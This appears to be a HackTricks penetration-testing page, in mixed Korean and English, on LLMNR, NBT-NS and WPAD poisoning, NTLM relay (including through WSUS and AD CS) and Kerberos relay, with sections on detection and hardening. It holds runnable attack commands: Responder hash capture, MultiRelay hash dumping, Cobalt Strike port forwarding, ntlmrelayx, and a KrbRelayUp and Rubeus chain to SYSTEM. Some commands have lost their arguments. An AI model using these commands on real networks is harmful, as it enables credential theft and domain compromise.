Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Network Protocols
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Microsoft 및 기타 운영체제는 DNS가 실패할 때 로컬 이름 확인을 위해 LLMNR 및 NBT-NS를 사용합니다. 유사하게, Apple 및 Linux 시스템은 mDNS를 사용합니다.
- 이러한 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성 때문에 가로채기 및 스푸핑에 취약합니다.
- Responder 및 Dementor는 해당 프로토콜을 질의하는 호스트에 대해 위조 응답을 보내 서비스 사칭에 사용할 수 있습니다.
- Responder를 사용한 서비스 사칭에 대한 추가 정보는 here에서 확인할 수 있습니다.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD는 브라우저가 프록시 설정을 자동으로 검색할 수 있게 합니다.
- 검색은 DHCP, DNS를 통해 수행되며 DNS가 실패하면 LLMNR 및 NBT-NS로 폴백됩니다.
- Responder는 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.
Responder/Dementor for Protocol Poisoning
-
Responder는 LLMNR, NBT-NS, mDNS 질의를 포이즈닝하는 도구로, 질의 유형에 따라 선택적으로 응답하며 주로 SMB 서비스를 표적으로 합니다.
-
Kali Linux에 기본 설치되어 있으며
/etc/responder/Responder.conf에서 구성할 수 있습니다. -
Responder는 캡처한 해시를 화면에 표시하고
/usr/share/responder/logs디렉터리에 저장합니다. -
IPv4 및 IPv6을 모두 지원합니다.
-
Windows용 Responder 버전은 here에서 이용 가능합니다.
-
Dementor는 멀티캐스트 포이즈닝 주제를 확장하며 추가로 악성 서비스 제공자(예: CUPS RCE 지원)로 동작합니다.
-
전체 구조는 Responder와 유사하지만 보다 세분화된 구성을 제공합니다. (기본은 여기: Dementor.toml)
-
Dementor와 Responder 간 호환성은 다음에서 확인할 수 있습니다: Compatibility Matrix
-
소개 및 문서는 여기: Dementor - Docs
-
특정 프로토콜에서 Responder로 인해 발생한 캡처 문제를 수정합니다.
Running Responder
- 기본 설정으로 Responder 실행:
responder -I <Interface> - 더 공격적인 프로빙(부작용 가능) 실행:
responder -I <Interface> -P -r -v - 크래킹을 쉽게 하기 위한 NTLMv1 챌린지/응답 캡처 기법:
responder -I <Interface> --lm --disable-ess - WPAD 사칭 활성화:
responder -I <Interface> --wpad - NetBIOS 요청을 공격자 IP로 해결하고 인증 프록시를 설정:
responder.py -I <interface> -Pv
Running Dementor
- 기본 설정으로 실행:
Dementor -I <interface> - 분석 모드에서 기본 설정으로 실행:
Dementor -I <interface> -A - 자동 NTLM 세션 다운그레이드(ESS):
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - 사용자 정의 구성으로 현재 세션 실행:
Dementor -I <interface> --config <file.toml>
DHCP Poisoning with Responder
- DHCP 응답을 스푸핑하면 피해자의 라우팅 정보를 영구적으로 오염시킬 수 있어 ARP 포이즈닝보다 은밀한 대안이 됩니다.
- 대상 네트워크 구성에 대한 정확한 지식이 필요합니다.
- 공격 실행:
./Responder.py -I eth0 -Pdv - 이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만 네트워크 중단을 피하기 위해 신중한 처리가 필요합니다.
Capturing Credentials with Responder/Dementor
- Responder/Dementor는 위에서 언급한 프로토콜을 사용하여 서비스를 사칭하고, 사용자가 사칭된 서비스에 인증을 시도할 때 자격 증명(보통 NTLMv2 Challenge/Response)을 캡처합니다.
- NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 자격 증명을 더 쉽게 크래킹하도록 시도할 수 있습니다.
It’s crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.
Inveigh
Inveigh는 Windows 시스템을 대상으로 하는 penetration testers 및 red teamers용 도구로, Responder와 유사한 기능을 제공하며 스푸핑 및 중간자 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전했으며 주요 버전으로는 Inveigh 및 InveighZero가 있습니다. 자세한 매개변수와 지침은 wiki에서 확인할 수 있습니다.
Inveigh can be operated through PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
또는 C# 바이너리로 실행:
Inveigh.exe
NTLM Relay Attack
이 공격은 SMB 인증 세션을 이용해 대상 머신에 접근하며, 성공하면 system shell을 획득합니다. 주요 전제조건은 다음과 같습니다:
- 인증하는 사용자는 relayed host에서 Local Admin access를 가지고 있어야 합니다.
- SMB signing은 비활성화되어야 합니다.
445 Port Forwarding and Tunneling
직접 네트워크 진입이 불가능한 상황에서는 포트 445 트래픽을 포워딩하고 터널링해야 합니다. PortBender 같은 도구는 포트 445 트래픽을 다른 포트로 리다이렉트하는 데 도움이 되며, driver loading을 위해 local admin access가 가능한 경우 필수적입니다.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLM Relay Attack용 기타 도구
- Metasploit: proxies, 로컬 및 원격 호스트 정보를 설정하여 사용.
- smbrelayx: SMB 세션을 중계하고 명령 실행 또는 백도어 배포를 위해 사용하는 Python 스크립트.
- MultiRelay: Responder 스위트의 도구로 특정 사용자 또는 모든 사용자를 중계하고, 명령을 실행하거나 해시를 덤프함.
각 도구는 필요 시 SOCKS proxy를 통해 동작하도록 구성할 수 있어, 간접적인 네트워크 접근 환경에서도 공격을 수행할 수 있다.
MultiRelay 동작
MultiRelay는 /usr/share/responder/tools 디렉터리에서 실행되며, 특정 IP나 사용자를 대상으로 한다.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).
What to look for
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and …\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn –open -p 8530,8531 -iL
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb
-u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers
-
Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap://
-smb2support -socks –keep-relaying –http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py –http-port 8530 -t http://
/certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
-
Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake can’t be harvested/relayed from WSUS HTTPS traffic.
Notes
- WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
- Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
Force NTLM Logins
In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/ → LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.
Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| Token | Purpose | Relay relevance |
|---|---|---|
| TGT / AS-REQ ↔ REP | Proves the user to the KDC | untouched |
| Service ticket / TGS-REQ ↔ REP | Bound to one SPN; encrypted with the SPN owner’s key | interchangeable if SPNs share account |
| AP-REQ | Client sends TGS to the service | what we steal & replay |
- Tickets are encrypted with the password-derived key of the account that owns the SPN.
- The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
- Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for
CIFS/HOSTnormally decrypts fine onLDAP/HOST.
-
- What must be true to relay Kerberos
- Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
- No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
- Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
- You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
Kerberos Relay Steps
- 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 릴레이 리스너 시작
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp는 KrbRelay → LDAP → RBCD → Rubeus → SCM bypass를 하나의 바이너리에 통합합니다.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce는 DC가 Kerberos CIFS/DC01 티켓을 우리에게 보내도록 만듭니다.
- 3.4 Relay the AP-REQ
KrbRelay는 SMB에서 GSS blob을 추출하여 LDAP bind로 재포장한 다음 ldap://DC01로 전달합니다—인증이 성공하는데 그 이유는 동일한 키로 이를 복호화하기 때문입니다.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
You now own NT AUTHORITY\SYSTEM.
알아둘 만한 추가 경로
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | 악성 서버가 임의의 SPN으로 GSS-ID payload를 전송하면; 클라이언트가 직접 당신에게 AP-REQ를 생성 | 서브넷을 넘어서도 동작; 기본적으로 machine creds 사용 |
| DCOM / MSRPC | 악성 OXID resolver가 클라이언트가 임의의 SPN과 포트로 인증하도록 강제 | 순수한 로컬 권한 상승; 방화벽 우회 |
| AD CS Web Enroll | Relay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTs | LDAP 서명 방어 우회 |
| Shadow Credentials | msDS-KeyCredentialLink를 기록한 다음 조작된 키 쌍으로 PKINIT 수행 | 컴퓨터 계정을 추가할 필요 없음 |
문제 해결
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | 티켓 키 ≠ 대상 키 | 잘못된 호스트/SPN |
KRB_AP_ERR_SKEW | 시계 오차 > 5분 | 시간 동기화 또는 w32tm 사용 |
| LDAP bind fails | 서명 강제 | AD CS 경로 사용 또는 서명 비활성화 |
| Event 4649 spam | 서비스가 중복 Authenticator를 관찰함 | 원본 패킷 차단 또는 레이스 |
탐지
- 같은 소스에서 몇 초 내에
CIFS/,HTTP/,LDAP/에 대한 Event 4769 급증. - 서비스의 Event 4649는 재생(replay) 감지됨을 나타냄.
- 127.0.0.1에서의 Kerberos 로그온(로컬 SCM으로의 릴레이)은 매우 의심스러움 — KrbRelayUp 문서의 Sigma 룰로 매핑.
msDS-AllowedToActOnBehalfOfOtherIdentity또는msDS-KeyCredentialLink속성 변경 감시.
보안 강화
- 모든 서버에서 LDAP & SMB signing + EPA 강제 적용.
- Split SPNs으로 HTTP가 CIFS/LDAP와 동일한 계정에 있지 않도록 분리.
- coercion 벡터 패치 (PetitPotam KB5005413, DFS, AuthIP).
- 악성 컴퓨터 가입을 막기 위해
ms-DS-MachineAccountQuota = 0설정. - Event 4649 및 예상치 못한 루프백 Kerberos 로그온에 대한 경고 설정.
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

